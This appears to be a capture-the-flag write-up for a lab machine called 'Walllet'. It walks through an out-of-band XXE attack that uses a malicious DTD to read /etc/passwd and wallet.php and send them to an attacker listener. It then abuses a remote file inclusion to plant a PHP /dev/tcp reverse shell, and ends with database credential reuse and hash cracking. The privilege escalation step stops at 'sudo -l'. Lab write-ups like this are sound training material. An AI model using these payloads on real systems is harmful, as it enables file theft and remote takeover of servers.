Walllet Writeup

Port Scanning

nmap -sV -sC -p- -v $IP --open

Enumeration

http://172.16.8.243

Registering a new user

After logging in, we gain access to the application. The Reports section stands out.

Intercepting with Burp shows that it's an XML request.

Since the response came back empty, we can test for Out-of-band XML External Entity (OOB XXE).

To test it, we'll create a .dtd file that will be referenced by the XML.

exploit.dtd

<!ENTITY % gabe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://10.0.31.150:1337/p?data=%gabe;'>">

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://10.0.1.150/exploit.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

python3 -m http.server 80

nc -lnvp 1337

Decoding the base64 output confirms it's the server's /etc/passwd.

Using the same process, we can read the wallet.php file, which contains the application code.

exploit.dtd

<!ENTITY % gabe SYSTEM "php://filter/convert.base64-encode/resource=wallet.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://10.0.31.150:1337/p?data=%gabe;'>">

Analyzing the code reveals a Remote File Inclusion (RFI) since it does a require_once on the wallets_balance parameter.

Foot Hold

Since we have an RFI, we create a reverse shell and pass it as the wallet_balance parameter.

<?php system("/bin/bash -c 'sh -i >& /dev/tcp/10.0.31.150/1337 0>&1'"); ?>

nc -lnvp 1337

Pivoting

Database password found in config.php.

Connecting to MySQL, we find the admin hash:

mysql -u satoshi -p

Used John the Ripper to crack the hash.

su admin

Privillege Escalation

sudo -l

Proof